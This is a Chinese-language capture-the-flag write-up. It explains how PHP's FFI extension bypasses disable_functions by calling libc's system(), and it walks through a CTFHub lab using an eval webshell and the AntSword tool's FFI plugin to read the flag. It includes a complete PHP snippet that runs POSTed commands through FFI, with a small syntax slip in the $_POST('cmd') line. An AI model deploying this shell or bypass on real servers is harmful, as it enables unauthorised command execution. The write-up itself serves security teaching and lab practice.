CTFHub Web进阶-PHP:Bypass_disable_function通关8之PHP FFI
目录
一、FFI扩展原理
1、PHP FFI 概念
2、绕过原理
3、FFI扩展与传统 C 扩展的对比
4、FFI扩展核心 API 说明
二、CTFHub渗透实战
1、打开靶场
2、源码分析
CTFHub Bypass disable_function —— FFI
3、蚁剑直接连接
4、虚拟终端
5、蚁剑工具-disable function
(1)disable function插件
(2)FFI 扩展插件
(3)获取flag
本文详细讲解CTFHub的Web进阶中disable-functions的FFI扩展关卡的渗透全流程。通过分析PHP 7.4引入的FFI特性,攻击者可利用FFI直接调用C标准库中的system函数执行系统命令。实战部分演示了在CTFHub靶场中,使用蚁剑工具的FFI插件绕过函数限制,最终成功获取flag的过程。该技术展现了FFI强大功能可能带来的安全隐患,要求PHP开发者在启用FFI时需充分评估安全风险。
一、FFI扩展原理
1、PHP FFI 概念
- FFI 全称:Foreign Function Interface(外部函数接口),是 PHP 7.4 引入的关键特性。
- 核心能力:允许开发者在纯 PHP 脚本中直接调用 C 语言库,无需编写 C 语言扩展(如传统的 mysqli、curl 扩展),极大降低了 C 库复用的门槛。
- 依赖条件:
- 运行环境:PHP 7.4 及以上版本。
- 底层依赖:需安装libffi-3 以上版本(C 语言外部函数接口库,为 FFI 提供底层支持)。
2、绕过原理
蚁剑工具利用 PHP FFI 绕过disable_functions的原理是利用 PHP 7.4 及以上版本提供的 FFI 特性,直接调用 C 标准库中的函数来执行系统命令,从而绕过 PHP 层面的函数禁用限制。以下是详细介绍:
- FFI 特性简介:FFI(Foreign Function Interface)允许 PHP 代码直接调用 C 语言编写的动态链接库中的函数。通过 FFI,开发者可以在 PHP 中声明 C 函数的原型,然后直接调用这些函数,而无需编写传统的 PHP 扩展。
- 绕过原理:
disable_functions是在 PHP 层面禁用了一些危险的函数,如system、exec等。但 FFI 可以绕过 PHP 的函数表,直接与操作系统的底层库进行交互。攻击者可以利用 FFI 加载 Linux 系统中的 C 标准库libc.so.6,然后直接调用其中的system函数来执行系统命令。 - 利用条件:使用 FFI 绕过
disable_functions需要满足一定的条件,首先 PHP 版本必须大于等于 7.4,其次php.ini中ffi.enable必须为"true"或"preload"。 - 关键代码示例
<?php
// 响应头设置为纯文本,便于回显
header('Content-Type: text/plain');
// 检查FFI扩展是否已加载
if (!extension_loaded('ffi')) {die('(Error) FFI extension is not enabled.');
}
// 从POST请求中获取要执行的命令
$command = isset($_POST('cmd'))? $_POST('cmd') : 'whoami';
try {// 定义要调用的C函数的原型// "int system(const char *command);"是C语言中system函数的标准声明// "libc.so.6"是Linux系统上C标准库的库文件名$ffi = FFI::cdef("int system(const char *command);", "libc.so.6");// 直接调用C库中的system函数,并将命令作为参数传入echo "(+) Executing command via FFI -> libc::system():\n\n";$ffi->system($command);
} catch (FFI\Exception $e) {die('(Error) FFI operation failed:' . $e->getMessage());
}
?>
3、FFI扩展与传统 C 扩展的对比
| 对比维度 | 传统 C 扩展方案 | PHP FFI 方案 |
|---|---|---|
| 开发成本 | 需学习 PHP 扩展开发流程(如 Zend 引擎 API、编译配置),学习成本高 | 仅需在 PHP 中声明 C 函数原型,无需掌握 C 扩展知识,易用性高 |
| 灵活性 | 扩展编译后需重新编译才能更新,灵活性低 | 直接在 PHP 脚本中修改 C 函数调用逻辑,迭代效率高 |
| 性能 | 编译为二进制扩展,性能略优 | 需动态解析 C 函数原型,存在轻微性能损耗(可通过预加载优化) |
| 适用场景 | 成熟稳定的高频调用场景(如官方 curl、mysqli 扩展) | 快速复用小众 C 库、原型验证、低频调用场景 |
4、FFI扩展核心 API 说明
| API 名称 | 语法 | 功能描述 | 关键参数说明 |
|---|---|---|---|
| FFI::cdef | FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI | 声明 C 函数原型,并加载指定 C 库 | \(cdef:C语言函数/结构体声明(如`void *curl_easy_init();`);\)lib:C 库路径(如 "libcurl.so") |
| FFI::load | FFI::load(string $filename): FFI | 加载含 C 声明的.h 文件,自动解析其中的函数与宏定义 | $filename:.h 文件路径(需在文件中用FFI_LIB指定 C 库) |
| FFI::scope | FFI::scope(string $name): FFI | 引用预加载到指定作用域的 C 库,避免重复加载 | $name:作用域名(需在.h 文件中用FFI_SCOPE定义) |
| FFI::new | FFI::new(mixed $type [, bool $own = true [, bool $persistent = false]]): FFI\CData | 分配 C 语言数据结构(如结构体、数组)的内存 | $own:是否由 PHP 管理内存(默认 true,PHP 生命周期内自动释放;false 需手动调用FFI::free) |
| FFI::addr | FFI::addr(FFI\CData $cdata): FFI\CData | 获取 C 数据结构的内存地址,用于传递给需要指针参数的 C 函数 | $cdata:通过FFI::new创建的 C 数据结构 |
| FFI::string | FFI::string(FFI\CData $src [, int $size]): string | 将 C 语言内存块(如 char*)转换为 PHP 字符串 | \(src:C内存块指针;\)size:内存块大小(不指定则遇到 NULL 终止) |
| FFI::free | FFI::free(FFI\CData $cdata): void | 手动释放由FFI::new($own=false)分配的 C 内存 | 仅当$own=false时需调用,避免内存泄漏 |
二、CTFHub渗透实战
打开关卡,页面提示“FFI 扩展已经通过RFC, 正式成为PHP7.4的捆绑扩展库, FFI 扩展允许 PHP 执行嵌入式 C 代”,如下所示。

1、打开靶场
http://challenge-ed8739806201fa4f.sandbox.ctfhub.com:10800/

2、源码分析
这是一个利用PHP FFI(外部函数接口)绕过disable_functions限制的攻击环境,通过eval($_REQUEST['ant'])执行恶意代码。攻击者借助FFI扩展直接调用系统C库函数(如libc的system函数),从而绕过PHP的安全限制执行操作系统命令,实现权限提升和Webshell的持久化控制,体现了FFI功能在提供强大系统交互能力同时带来的严重安全风险。源码如下所示。
CTFHub Bypass disable_function —— FFI本环境来源于AntSword-Labs 参考链接:
<!DOCTYPE html> |
3、蚁剑直接连接
http://challenge-ed8739806201fa4f.sandbox.ctfhub.com:10800/ 密码ant


4、虚拟终端
右键虚拟终端,如下所示进入虚拟终端页面。

在虚拟终端中执行ls命令、dir命令,如下所示,命令执行失败。

5、蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)FFI 扩展插件
插件选择 FFI 扩展模式(PHP74_FFI),如下所示。

点击开始后进入如下界面。

(3)获取flag
在新弹出的虚拟终端页面执行ls /命令列出根目录下所有文件,然后通过cat /readflag获取读flag文件的命令,最后通过tac /flag获得flag,如下所示。

